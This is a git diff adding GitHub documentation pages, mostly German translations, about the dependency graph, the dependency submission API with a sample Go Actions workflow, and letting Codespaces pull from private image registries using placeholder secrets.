+To generate a dependency graph, {% data variables.product.product_name %} needs read-only access to the dependency manifest and lock files for a repository. The dependency graph is automatically generated for all public repositories and you can choose to enable it for private repositories. For more information on viewing the dependency graph, see "[Exploring the dependencies of a repository](/github/visualizing-repository-data-with-graphs/exploring-the-dependencies-of-a-repository)."
+
+{% data reusables.dependency-submission.dependency-submission-link %}
+{% endif %}
+
+{% ifversion ghes %} ## Enabling the dependency graph
+{% data reusables.code-scanning.enterprise-enable-dependency-graph %}
+{% data reusables.dependabot.ghes-ghae-enabling-dependency-graph %}{% endif %}{% ifversion fpt or ghec %}
+
+### Enabling and disabling the dependency graph for a private repository
+
+{% data reusables.dependabot.enabling-disabling-dependency-graph-private-repo %}
+
+{% data reusables.code-scanning.enterprise-enable-dependency-graph %}
+{% endif %}
+
+When the dependency graph is first enabled, any manifest and lock files for supported ecosystems are parsed immediately. The graph is usually populated within minutes but this may take longer for repositories with many dependencies. Once enabled, the graph is automatically updated with every push to the repository{% ifversion fpt or ghec %} and every push to other repositories in the graph{% endif %}.
+
+{% ifversion ghes %}
+{% ifversion dependency-submission-api %}{% data reusables.dependency-submission.dependency-submission-link %}{% endif %}
+{% endif %}
+
+## Further reading
+
+{% ifversion ghec %}- "[Viewing insights for your organization](/organizations/collaborating-with-groups-in-organizations/viewing-insights-for-your-organization)"{% endif %}
+- "[Viewing and updating {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts)"
+- "[Troubleshooting the detection of vulnerable dependencies](/github/managing-security-vulnerabilities/troubleshooting-the-detection-of-vulnerable-dependencies)"
diff --git a/translations/de-DE/content/code-security/supply-chain-security/understanding-your-software-supply-chain/exploring-the-dependencies-of-a-repository.md b/translations/de-DE/content/code-security/supply-chain-security/understanding-your-software-supply-chain/exploring-the-dependencies-of-a-repository.md
new file mode 100644
index 0000000000..510f573e04
--- /dev/null
+++ b/translations/de-DE/content/code-security/supply-chain-security/understanding-your-software-supply-chain/exploring-the-dependencies-of-a-repository.md
@@ -0,0 +1,113 @@
+---
+title: Untersuchen der Abhängigkeiten eines Repositorys
+intro: 'Du kannst das Abhängigkeitsdiagramm verwenden, um die Pakete, von denen dein Projekt abhängt{% ifversion fpt or ghec %}, und die Repositorys, die davon abhängig sind, anzuzeigen{% endif %}. Darüber hinaus kannst du alle ermittelten Sicherheitsrisiken in ihren Abhängigkeiten anzeigen.'
+redirect_from:
+  - /articles/listing-the-packages-that-a-repository-depends-on
+  - /github/visualizing-repository-data-with-graphs/listing-the-packages-that-a-repository-depends-on
+  - /articles/listing-the-projects-that-depend-on-a-repository
+  - /github/visualizing-repository-data-with-graphs/listing-the-projects-that-depend-on-a-repository
+  - /github/visualizing-repository-data-with-graphs/exploring-the-dependencies-and-dependents-of-a-repository
+  - /github/visualizing-repository-data-with-graphs/exploring-the-dependencies-of-a-repository
+  - /code-security/supply-chain-security/exploring-the-dependencies-of-a-repository
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Dependency graph
+  - Dependencies
+  - Repositories
+shortTitle: Explore dependencies
+ms.openlocfilehash: f3735844ad8bcb8fba799723f30a3d55e41ec158
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '147882731'
+---
+<!--For this article in earlier GHES versions, see /content/github/visualizing-repository-data-with-graphs-->
+
+## Anzeigen des Abhängigkeitsdiagramms
+
+Das Abhängigkeitsdiagramm zeigt die Abhängigkeiten{% ifversion fpt or ghec %} und abhängigen Elemente{% endif %} deines Repositorys. Informationen zur Erkennung von Abhängigkeiten und den unterstützten Ökosystemen findest du unter [Informationen zum Abhängigkeitsdiagramm](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph).
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.accessing-repository-graphs %} {% data reusables.repositories.click-dependency-graph %}{% ifversion fpt or ghec %}
+4. Klicke optional unter „Abhängigkeitsdiagramm“ auf **Abhängige Elemente**.
+![Registerkarte „Abhängige Elemente“ auf der Seite „Abhängigkeitsdiagramm“](/assets/images/help/graphs/dependency-graph-dependents-tab.png){% endif %}
+
+{% ifversion ghes %} Enterprise-Besitzer*innen können das Abhängigkeitsdiagramm auf Unternehmensebene konfigurieren. Weitere Informationen findest du unter [Aktivieren des Abhängigkeitsdiagramms für dein Unternehmen](/admin/code-security/managing-supply-chain-security-for-your-enterprise/enabling-the-dependency-graph-for-your-enterprise).
+{% endif %}
+
+### Abhängigkeitsansicht
+
+{% ifversion fpt or ghec %} Abhängigkeiten werden nach Ökosystem gruppiert. Du kannst eine Abhängigkeit erweitern, um ihre Abhängigkeiten anzuzeigen.  Abhängigkeiten von privaten Repositorys, privaten Paketen oder nicht erkannten Dateien werden im Nur-Text-Format angezeigt. Wenn sich der Paket-Manager der Abhängigkeit in einem öffentlichen Repository befindet, zeigt {% data variables.product.product_name %} einen Link zu diesem Repository an.
+
+{% ifversion dependency-submission-api %} Abhängigkeiten, die mit der Abhängigkeitsübermittlungs-API (Beta) an ein Projekt übermittelt wurden, werden zwar nach Ökosystemen gruppiert, aber getrennt von Abhängigkeiten angezeigt, die über Manifest- oder Sperrdateien in dem Repository identifiziert wurden. Diese übermittelten Abhängigkeiten werden im Abhängigkeitsdiagramm als „Momentaufnahmeabhängigkeiten“ angezeigt, da sie als Momentaufnahme oder Gruppe von Abhängigkeiten übermittelt wurden. Weitere Informationen zur Verwendung der Abhängigkeitsübermittlungs-API findest du unter [Verwenden der Abhängigkeitsübermittlungs-API](/code-security/supply-chain-security/understanding-your-software-supply-chain/using-the-dependency-submission-api).
+{% endif %}
+
+Wenn Sicherheitsrisiken im Repository erkannt wurden, werden diese oben in der Ansicht für Benutzer*innen mit Zugriff auf {% data variables.product.prodname_dependabot_alerts %} angezeigt.
+
+![Abhängigkeitsdiagramm](/assets/images/help/graphs/dependencies_graph.png)
+
+{% endif %}
+
+{% ifversion ghes or ghae %} Alle direkten und indirekten Abhängigkeiten, die im Manifest oder in Sperrdateien des Repositorys angegeben sind, werden nach Ökosystem aufgeführt bzw. gruppiert. Wenn Sicherheitsrisiken im Repository erkannt wurden, werden diese oben in der Ansicht für Benutzer*innen mit Zugriff auf {% data variables.product.prodname_dependabot_alerts %} angezeigt.
+
+![Abhängigkeitsdiagramm](/assets/images/help/graphs/dependencies_graph_server.png)
+
+{% note %}
+
+**Hinweis:** {% data variables.product.product_name %} füllt die Ansicht **Abhängige Elemente** nicht auf.
+
+{% endnote %}
+
+{% endif %}
+
+{% ifversion fpt or ghec %}
+### Ansicht der abhängigen Elemente
+
+Bei öffentlichen Repositorys zeigt die Ansicht der abhängigen Elemente, wie das Repository von anderen Repositorys verwendet wird. Wenn du nur die Repositorys anzeigen möchtest, die eine Bibliothek in einem Paket-Manager enthalten, klicke direkt oberhalb der Liste der abhängigen Repositorys auf **ANZAHL Pakete**. Bei der Anzahl der abhängigen Elemente handelt es sich um Schätzwerte, die möglicherweise nicht immer mit den aufgelisteten Abhängigen übereinstimmen.
+
+![Abhängigkeitsdiagramm](/assets/images/help/graphs/dependents_graph.png)
+
+## Aktivieren und Deaktivieren des Abhängigkeitsdiagramms für ein privates Repository
+
+{% data reusables.dependabot.enabling-disabling-dependency-graph-private-repo %}
+
+## Ändern des Pakets „Verwendet von“
+
+Möglicherweise ist dir aufgefallen, dass die Randleiste der Registerkarte **Code** in einigen Repositorys den Abschnitt „Verwendet von“ enthält. dein Repository weist den Abschnitt „Verwendet von“ unter folgenden Bedingungen auf:
+  * Das Abhängigkeitsdiagramm ist für das Repository aktiviert (weitere Details im obigen Abschnitt).
+  * Dein Repository enthält ein Paket, das in einem [unterstützten Paketökosystem](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph#supported-package-ecosystems) veröffentlicht wurde.
+  * Innerhalb des Ökosystems verfügt dein Paket über einen Link zu einem _öffentlichen_ Repository, in dem die Quelle gespeichert ist.
+
+Der Abschnitt „Verwendet von“ zeigt die Anzahl der gefundenen öffentlichen Verweise auf das Paket sowie die Avatare einiger Besitzer*innen der abhängigen Projekte.
+
+![Seitenleistenabschnitt „Verwendet von“](/assets/images/help/repository/used-by-section.png)
+
+Wenn du in diesem Abschnitt auf ein Element klickst, gelangst du zur Registerkarte **Abhängige Elemente** des Abhängigkeitsdiagramms.
+
+Der Abschnitt „Verwendet von“ stellt ein einzelnes Paket aus dem Repository dar. Wenn du über Administratorberechtigungen für ein Repository verfügst, das mehrere Pakete enthält, kannst du auswählen, welches Paket im Abschnitt „Verwendet von“ angezeigt werden soll.
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.navigate-to-code-security-and-analysis %}
+4. Klicke unter „Codesicherheit und -analyse“ im Abschnitt „Zähler für ‚Verwendet von‘“ auf das Dropdownmenü, und wähle ein Paket aus.
+  ![Auswählen eines Pakets aus „Verwendet von“](/assets/images/help/repository/choose-used-by-package.png)
+
+{% endif %}
+
+## Fehler beim Abhängigkeitsdiagramm beheben
+
+Wenn dein Abhängigkeitsdiagramm leer ist, liegt möglicherweise ein Problem mit der Datei vor, die deine Abhängigkeiten enthält. Überprüfe deine Datei, um sicherzustellen, dass sie für diesen Dateityp korrekt formatiert ist.
+
+{% ifversion fpt or ghec %} Wenn die Datei ordnungsgemäß formatiert ist, überprüfe ihre Größe. Das Abhängigkeitsdiagramm ignoriert einzelne Manifest- und Sperrdateien, die größer als 1,5 MB sind, es sei denn, du bist {% data variables.product.prodname_enterprise %}-Benutzer*in. Es verarbeitet standardmäßig bis zu 20 Manifest- oder Sperrdateien pro Repository, sodass du Abhängigkeiten in kleinere Dateien in Unterverzeichnissen des Repositorys aufteilen kannst.{% endif %}
+
+Wenn eine Manifest- oder Sperrdatei nicht verarbeitet wird, werden die Abhängigkeiten aus dem Abhängigkeitsdiagramm ausgelassen und können nicht auf unsichere Abhängigkeiten überprüft werden.
+
+## Weitere Informationsquellen
+
+- [Informationen zum Abhängigkeitsdiagramm](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)
+- [Anzeigen und Aktualisieren von {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts){% ifversion ghec %}
+- [Anzeigen von Einblicken für deine Organisation](/organizations/collaborating-with-groups-in-organizations/viewing-insights-for-your-organization) {% endif %}{% ifversion fpt or ghec %}
+- [Grundlegendes zur Verwendung und zum Schutz deiner Daten durch {% data variables.product.prodname_dotcom %}](/get-started/privacy-on-github) {% endif %}
diff --git a/translations/de-DE/content/code-security/supply-chain-security/understanding-your-software-supply-chain/index.md b/translations/de-DE/content/code-security/supply-chain-security/understanding-your-software-supply-chain/index.md
new file mode 100644
index 0000000000..05a869c225
--- /dev/null
+++ b/translations/de-DE/content/code-security/supply-chain-security/understanding-your-software-supply-chain/index.md
@@ -0,0 +1,29 @@
+---
+title: Grundlagen deiner Softwarelieferkette
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Dependency graph
+  - Dependencies
+  - Repositories
+shortTitle: Understand your supply chain
+children:
+  - /about-supply-chain-security
+  - /about-the-dependency-graph
+  - /configuring-the-dependency-graph
+  - /using-the-dependency-submission-api
+  - /about-dependency-review
+  - /configuring-dependency-review
+  - /exploring-the-dependencies-of-a-repository
+  - /troubleshooting-the-dependency-graph
+ms.openlocfilehash: 5310e33ff731c1a34e3a0df1e0ac64a8bbab5e9a
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '146458252'
+---
+
diff --git a/translations/de-DE/content/code-security/supply-chain-security/understanding-your-software-supply-chain/troubleshooting-the-dependency-graph.md b/translations/de-DE/content/code-security/supply-chain-security/understanding-your-software-supply-chain/troubleshooting-the-dependency-graph.md
new file mode 100644
index 0000000000..2ea290fe37
--- /dev/null
+++ b/translations/de-DE/content/code-security/supply-chain-security/understanding-your-software-supply-chain/troubleshooting-the-dependency-graph.md
@@ -0,0 +1,66 @@
+---
+title: Troubleshooting the dependency graph
+intro: 'If the dependency information reported by the dependency graph is not what you expected, there are a number of points to consider, and various things you can check.'
+shortTitle: Troubleshoot dependency graph
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Troubleshooting
+  - Errors
+  - Dependencies
+  - Vulnerabilities
+  - Dependency graph
+  - CVEs
+  - Repositories
+---
+
+{% data reusables.dependabot.result-discrepancy %}
+
+## Does the dependency graph only find dependencies in manifests and lockfiles?
+
+The dependency graph {% ifversion dependency-submission-api %}automatically{% endif %} includes information on dependencies that are explicitly declared in your environment. That is, dependencies that are specified in a manifest or a lockfile. The dependency graph generally also includes transitive dependencies, even when they aren't specified in a lockfile, by looking at the dependencies of the dependencies in a manifest file.
+
+The dependency graph doesn't {% ifversion dependency-submission-api %}automatically{% endif %} include "loose" dependencies. "Loose" dependencies are individual files that are copied from another source and checked into the repository directly or within an archive (such as a ZIP or JAR file), rather than being referenced by in a package manager’s manifest or lockfile. 
+
+{% ifversion dependency-submission-api %}However, you can use the Dependency submission API (beta) to add dependencies to a project's dependency graph, even if the dependencies are not declared in a manifest or lock file, such as dependencies resolved when a project is built. The dependency graph will display the submitted dependencies grouped by ecosystem, but separately from the dependencies parsed from manifest or lock files. For more information on the Dependency submission API, see "[Using the Dependency submission API](/code-security/supply-chain-security/understanding-your-software-supply-chain/using-the-dependency-submission-api)."{% endif %}
+
+**Check**: Is the missing dependency for a component that's not specified in the repository's manifest or lockfile?
+
+## Does the dependency graph detect dependencies specified using variables?
+
+The dependency graph analyzes manifests as they’re pushed to {% data variables.product.prodname_dotcom %}. The dependency graph doesn't, therefore, have access to the build environment of the project, so it can't resolve variables used within manifests. If you use variables within a manifest to specify the name, or more commonly the version of a dependency, then that dependency will not {% ifversion dependency-submission-api %}automatically{% endif %} be included in the dependency graph.
+
+{% ifversion dependency-submission-api %}However, you can use the Dependency submission API (beta) to add dependencies to a project's dependency graph, even if the dependencies are only resolved when a project is built. For more information on the Dependency submission API, see "[Using the Dependency submission API](/code-security/supply-chain-security/understanding-your-software-supply-chain/using-the-dependency-submission-api)."{% endif %}
+
+**Check**: Is the missing dependency declared in the manifest by using a variable for its name or version?
+
+## Are there limits which affect the dependency graph data?
+
+Yes, the dependency graph has two categories of limits:
+
+1. **Processing limits**
+
+    These affect the dependency graph displayed within {% data variables.product.prodname_dotcom %} and also prevent {% data variables.product.prodname_dependabot_alerts %} being created.
+
+    Manifests over 0.5 MB in size are only processed for enterprise accounts. For other accounts, manifests over 0.5 MB are ignored and will not create {% data variables.product.prodname_dependabot_alerts %}.
+
+    By default, {% data variables.product.prodname_dotcom %} will not process more than {% ifversion fpt %}150{% else %}600{% endif %} manifests per repository. {% data variables.product.prodname_dependabot_alerts %} are not created for manifests beyond this limit. If you need to increase the limit, contact {% data variables.contact.contact_support %}. 
+
+2. **Visualization limits**
+
+    These affect what's displayed in the dependency graph within {% data variables.product.prodname_dotcom %}. However, they don't affect the {% data variables.product.prodname_dependabot_alerts %} that are created.
+
+    The Dependencies view of the dependency graph for a repository only displays 100 manifests. Typically this is adequate as it is significantly higher than the processing limit described above. In situations where the processing limit is over 100, {% data variables.product.prodname_dependabot_alerts %} are still created for any manifests that are not shown within {% data variables.product.prodname_dotcom %}.
+
+**Check**: Is the missing dependency in a manifest file that's over 0.5 MB, or in a repository with a large number of manifests?
+
+## Further reading
+
+- "[About the dependency graph](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph)"
+- "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)"
+- "[Troubleshooting the detection of vulnerable dependencies](/code-security/dependabot/working-with-dependabot/troubleshooting-the-detection-of-vulnerable-dependencies)"{% ifversion fpt or ghec or ghes %}
+- "[Troubleshooting {% data variables.product.prodname_dependabot %} errors](/github/managing-security-vulnerabilities/troubleshooting-dependabot-errors)"{% endif %}
diff --git a/translations/de-DE/content/code-security/supply-chain-security/understanding-your-software-supply-chain/using-the-dependency-submission-api.md b/translations/de-DE/content/code-security/supply-chain-security/understanding-your-software-supply-chain/using-the-dependency-submission-api.md
new file mode 100644
index 0000000000..913663134e
--- /dev/null
+++ b/translations/de-DE/content/code-security/supply-chain-security/understanding-your-software-supply-chain/using-the-dependency-submission-api.md
@@ -0,0 +1,91 @@
+---
+title: Verwenden der Abhängigkeitsübermittlungs-API
+intro: "Mit der Abhängigkeitsübermittlungs-API kannst du Abhängigkeiten für Projekte übermitteln, z.\_B. die Abhängigkeiten, die gelöst werden, wenn ein Projekt erstellt oder kompiliert wird."
+shortTitle: Dependency submission API
+topics:
+  - API
+  - Dependency graph
+  - Dependencies
+  - REST
+versions:
+  feature: dependency-submission-api
+ms.openlocfilehash: f81967a46763d299afd14727cd884a36cb0b3d9c
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '147880814'
+---
+{% data reusables.dependency-submission.dependency-submission-api-beta %}
+
+## Informationen zur Abhängigkeitsübermittlungs-API
+
+{% data reusables.dependency-submission.about-dependency-submission %}
+
+Abhängigkeiten werden in Form einer Momentaufnahme an die Abhängigkeitsübermittlungs-API übermittelt. Eine Momentaufnahme ist eine Reihe von Abhängigkeiten, die einem Commit-SHA und anderen Metadaten zugeordnet sind, die den aktuellen Status deines Repositorys für einen Commit widerspiegeln. Weitere Informationen zur Abhängigkeitsübermittlungs-API findest du in der [REST-API-Dokumentation zur Abhängigkeitsübermittlung](/rest/dependency-graph/dependency-submission).
+
+## Übermitteln von Abhängigkeiten zur Buildzeit
+
+Du kannst die Abhängigkeitsübermittlungs-API in einem {% data variables.product.prodname_actions %}-Workflow verwenden, um beim Erstellen deines Projekts Abhängigkeiten dafür zu übermitteln. 
+
+### Verwenden vordefinierter Aktionen
+
+Am einfachsten lässt sich die Abhängigkeitsübermittlungs-API verwenden, indem du deinem Repository eine vordefinierte Aktion hinzuzufügst, die die Liste der Abhängigkeiten erfasst, in das erforderliche Momentaufnahmeformat konvertiert und an die API übermittelt. Aktionen, die diese Schritte für verschiedene Ökosysteme ausführen, sind auf {% data variables.product.prodname_marketplace %} verfügbar, und weitere Aktionen werden im Verlauf der Betaversion und darüber hinaus erstellt. Links zu den derzeit verfügbaren Aktionen findest du in der folgenden Tabelle:
+
+Ökosystem | Aktion |
+--- | --- |
+Go | [Go-Abhängigkeitsübermittlung](https://github.com/actions/go-dependency-submission)
+
+Der folgende Workflow für die [Go-Abhängigkeitsübermittlung](https://github.com/actions/go-dependency-submission) berechnet beispielsweise die Abhängigkeiten für ein Go-Buildziel (eine Go-Datei mit einer `main`-Funktion) und sendet die Liste an die Abhängigkeitsübermittlungs-API. 
+
+```yaml
+
+name: Go Dependency Submission
+on:
+  push:
+    branches:
+      - main
+      
+# The API requires write permission on the repository to submit dependencies
+permissions:
+  contents: write
+
+# Envionment variables to configure Go and Go modules. Customize as necessary
+env:
+  GOPROXY: '' # A Go Proxy server to be used
+  GOPRIVATE: '' # A list of modules are considered private and not requested from GOPROXY
+jobs:
+  go-action-detection:
+    runs-on: ubuntu-latest
+    steps:
+      - name: 'Checkout Repository'
+        uses: {% data reusables.actions.action-checkout %}
+        
+      - uses: {% data reusables.actions.action-setup-go %}
+        with:
+          go-version: ">=1.18.0"
+          
+      - name: Run snapshot action
+        uses: @actions/go-dependency-submission@v1
+        with:
+            # Required: Define the repo path to the go.mod file used by the
+            # build target
+            go-mod-path: go-example/go.mod
+            #
+            # Optional. Define the repo path of a build target,
+            # a file with a `main()` function.
+            # If undefined, this action will collect all dependencies
+            # used by all build targets for the module. This may
+            # include Go dependencies used by tests and tooling.
+            go-build-target: go-example/cmd/octocat.go
+
+```
+### Erstellen einer eigenen Aktion
+
+Alternativ kannst du eine eigene Aktion schreiben, um Abhängigkeiten für dein Projekt zur Buildzeit zu übermitteln. Mit deinem Workflow sollen folgende Aktionen ausgeführt werden:
+
+  1. Generieren einer Liste von Abhängigkeiten für dein Projekt.
+  2. Übersetzen der Liste der Abhängigkeiten in das Momentaufnahmeformat, das von der Abhängigkeitsübermittlungs-API akzeptiert wird. Weitere Informationen zum Format findest du in den Textparametern für den API-Vorgang „Erstellen einer Repository-Momentaufnahme“ in der [REST-API-Dokumentation zur Abhängigkeitsübermittlung](/rest/dependency-graph/dependency-submission).
+  3. Übermitteln der formatierten Liste der Abhängigkeiten an die Abhängigkeitsübermittlungs-API.
+
+{% data variables.product.product_name %} verwaltet das [Dependency Submission Toolkit](https://github.com/github/dependency-submission-toolkit), eine TypeScript-Bibliothek, mit der du eine eigene GitHub-Aktion zum Übermitteln von Abhängigkeiten an die Abhängigkeitsübermittlungs-API erstellen kannst. Weitere Informationen zum Schreiben einer Aktion findest du unter [Erstellen von Aktionen](/actions/creating-actions).
diff --git a/translations/de-DE/content/codespaces/codespaces-reference/allowing-your-codespace-to-access-a-private-image-registry.md b/translations/de-DE/content/codespaces/codespaces-reference/allowing-your-codespace-to-access-a-private-image-registry.md
new file mode 100644
index 0000000000..6f4fa802ac
--- /dev/null
+++ b/translations/de-DE/content/codespaces/codespaces-reference/allowing-your-codespace-to-access-a-private-image-registry.md
@@ -0,0 +1,125 @@
+---
+title: 'Zulassen, dass dein Codespace auf eine private Imageregistrierung zugreifen kann'
+intro: 'Du kannst Geheimnisse verwenden, um {% data variables.product.prodname_github_codespaces %} den Zugriff auf eine private Imageregistrierung zu ermöglichen.'
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Codespaces
+shortTitle: Private image registry
+ms.openlocfilehash: c11cfe0179856caf17f30ac32830ee1485defa3c
+ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/09/2022
+ms.locfileid: '148159205'
+---
+## Informationen zu privaten Imageregistrierungen und {% data variables.product.prodname_github_codespaces %}
+
+Eine Registrierung ist ein sicherer Ort zum Speichern, Verwalten und Abrufen privater Containerimages. Du kannst eine Registrierung verwenden, um ein oder mehrere Images zu speichern. Es gibt viele Beispiele für Registrierungen, z. B. {% data variables.product.prodname_container_registry %}, {% data variables.product.prodname_npm_registry %}, Azure Container Registry oder DockerHub.
+
+{% data variables.packages.prodname_ghcr_and_npm_registry %} kann so konfiguriert werden, dass Containerimages beim Erstellen von Codespaces nahtlos in {% data variables.product.prodname_github_codespaces %} gepullt werden können, ohne dass du Authentifizierungsdaten angeben musst. Für andere Imageregistrierungen musst du Geheimnisse in {% data variables.product.prodname_dotcom %} erstellen, um die Zugangsdaten zu speichern, mit denen {% data variables.product.prodname_github_codespaces %} auf die in dieser Registrierung gespeicherten Images zugreifen kann.
+
+## Zugreifen auf in {% data variables.packages.prodname_ghcr_and_npm_registry %} gespeicherte Images
+
+{% data variables.packages.prodname_ghcr_and_npm_registry %} sind die einfachste Möglichkeit zur Nutzung von Entwicklungscontainerimages mit {% data variables.product.prodname_github_codespaces %}.
+
+Weitere Informationen findest du unter [Arbeiten mit der Containerregistrierung](/packages/working-with-a-github-packages-registry/working-with-the-container-registry) und [Arbeiten mit der npm-Registrierung](/packages/working-with-a-github-packages-registry/working-with-the-npm-registry).
+
+### Zugreifen auf ein Image, das im selben Repository veröffentlicht wurde wie der Codespace
+
+Wenn du ein Containerimage in {% data variables.packages.prodname_ghcr_or_npm_registry %} im selben Repository veröffentlichst, in dem der Codespace gestartet wird, kannst du dieses Image beim Erstellen des Codespace automatisch abrufen. Du musst keine zusätzlichen Anmeldedaten angeben, es sei denn, die Option **Zugriff von Repository erben** wurde bei der Veröffentlichung des Containerimages deaktiviert.
+
+#### Vererbung des Zugriffs von dem Repository, aus dem ein Image veröffentlicht wurde
+
+Wenn du ein Containerimage in {% data variables.packages.prodname_ghcr_or_npm_registry %} veröffentlichst, erbt das Image die Zugriffseinstellungen des Repositorys, aus dem das Image veröffentlicht wurde. Wenn das Repository zum Beispiel öffentlich ist, ist auch das Image öffentlich. Ist das Repository privat, ist auch das Image privat, aber über das Repository zugänglich.
+
+Dieses Verhalten wird über die Option **Zugriff von Repository erben** gesteuert. Die Option **Zugriff von Repository erben** ist standardmäßig aktiviert, wenn die Veröffentlichung über {% data variables.product.prodname_actions %} erfolgt, aber nicht, wenn die Veröffentlichung direkt in {% data variables.packages.prodname_ghcr_or_npm_registry %} unter Verwendung eines {% data variables.product.pat_generic %} durchgeführt wird.
+
+Wenn die Option **Zugriff vom Repository erben** bei der Veröffentlichung des Images nicht ausgewählt wurde, kannst du das Repository manuell zu den Zugriffskontrollen des veröffentlichten Containerimages hinzufügen. Weitere Informationen findest du unter [Konfigurieren der Zugriffssteuerung und Sichtbarkeit eines Pakets](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#inheriting-access-for-a-container-image-from-a-repository).
+
+### Zugreifen auf ein Image, das in der Organisation veröffentlicht wurde, in der ein Codespace gestartet wird
+
+Wenn du möchtest, dass ein Containerimage für alle Codespaces in einer Organisation zugänglich ist, empfehlen wir dir, das Containerimage mit interner Sichtbarkeit zu veröffentlichen. Dadurch wird das Image automatisch für alle Codespaces innerhalb der Organisation sichtbar – es sei denn, das Repository, aus dem der Codespace gestartet wird, ist öffentlich.
+
+Wenn der Codespace aus einem öffentlichen Repository gestartet wird, das auf ein internes oder privates Image verweist, musst du dem öffentlichen Repository manuell Zugriff auf das interne Containerimage gewähren. So wird verhindert, dass das interne Image versehentlich öffentlich verfügbar gemacht wird. Weitere Informationen findest du unter [Sicherstellen des Codespaces-Zugriffs auf dein Paket](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#ensuring-codespaces-access-to-your-package).
+
+### Zugreifen auf einen privaten Container aus einer Teilmenge von Repositorys in einer Organisation
+
+Wenn du einem Teil der Repositorys einer Organisation Zugriff auf ein Containerimage gewähren oder den Zugriff auf ein internes oder privates Image von einem Codespace aus erlauben möchtest, der in einem öffentlichen Repository gestartet wurde, kannst du Repositorys manuell zu den Zugriffseinstellungen eines <span class="x x-first x-last">Containerimages</span> hinzufügen. Weitere Informationen findest du unter [Sicherstellen des Codespaces-Zugriffs auf dein Paket](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#ensuring-codespaces-access-to-your-package)<span class="x x-first x-last">.</span>
+
+### Veröffentlichen eines Containerimages aus einem Codespace
+
+Der nahtlose Zugriff über einen Codespace auf {% data variables.packages.prodname_ghcr_or_npm_registry %} ist auf das Pullen von Containerimages beschränkt. Wenn du ein Containerimage über einen Codespace veröffentlichen möchtest, musst du ein {% data variables.product.pat_v1 %} mit dem Bereich `write:packages` verwenden.
+
+Wir empfehlen, Images über {% data variables.product.prodname_actions %} zu veröffentlichen. Weitere Informationen findest du unter [Veröffentlichen von Docker-Images](/actions/publishing-packages/publishing-docker-images) und [Veröffentlichen von Node.js-Paketen](/actions/publishing-packages/publishing-nodejs-packages).
+
+## Zugreifen auf Images, die in anderen Containerregistrierungen gespeichert sind
+
+Wenn du über eine andere Registrierung als {% data variables.packages.prodname_ghcr_or_npm_registry %} auf ein Containerimage zugreifst, überprüft {% data variables.product.prodname_github_codespaces %} das Vorhandensein von drei Geheimnissen, die den Servernamen, den Benutzernamen und das {% data variables.product.pat_generic %} für eine Containerregistrierung definieren. Wenn diese Geheimnisse gefunden werden, macht {% data variables.product.prodname_github_codespaces %} die Registrierung in deinem Codespace verfügbar.
+
+- `<*>_CONTAINER_REGISTRY_SERVER`
+- `<*>_CONTAINER_REGISTRY_USER`
+- `<*>_CONTAINER_REGISTRY_PASSWORD`
+
+Du kannst Geheimnisse auf Benutzer-, Repository- oder Organisationsebene speichern, sodass du sie sicher zwischen verschiedenen Codespaces austauschen kannst. Wenn du einen Satz von Geheimnissen für eine private Imageregistrierung erstellst, musst du das <*> im Namen durch einen einheitlichen Bezeichner ersetzen. Weitere Informationen findest du unter [Verwalten verschlüsselter Geheimnisse für deine Codespaces](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces) und [Verwalten verschlüsselter Geheimnisse für dein Repository und deine Organisation für {% data variables.product.prodname_github_codespaces %}](/codespaces/managing-codespaces-for-your-organization/managing-encrypted-secrets-for-your-repository-and-organization-for-github-codespaces).
+
+Wenn du die Geheimnisse auf Benutzer- oder Organisationsebene festlegst, stelle sicher, dass du diese Geheimnisse dem Repository zuweist, in dem du den Codespace erstellst. Wähle dazu eine Zugriffsrichtlinie aus der Dropdownliste aus.  
+
+![Beispielgeheimnis für Imageregistrierung](/assets/images/help/codespaces/secret-repository-access.png)
+
+### Beispielgeheimnisse
+
+Für eine private Imageregistrierung in Azure könntest du die folgenden Geheimnisse erstellen:
+
+```
+ACR_CONTAINER_REGISTRY_SERVER = mycompany.azurecr.io
+ACR_CONTAINER_REGISTRY_USER = acr-user-here
+ACR_CONTAINER_REGISTRY_PASSWORD = <PERSONAL_ACCESS_TOKEN>
+```
+
+Informationen zu gängigen Imageregistrierungen findest du unter [Gängige Imageregistrierungsserver](#common-image-registry-servers). Beachte, dass der Zugriff auf AWS Elastic Container Registry (ECR) anders funktioniert.
+
+![Beispielgeheimnis für Imageregistrierung](/assets/images/help/settings/codespaces-image-registry-secret-example.png)
+
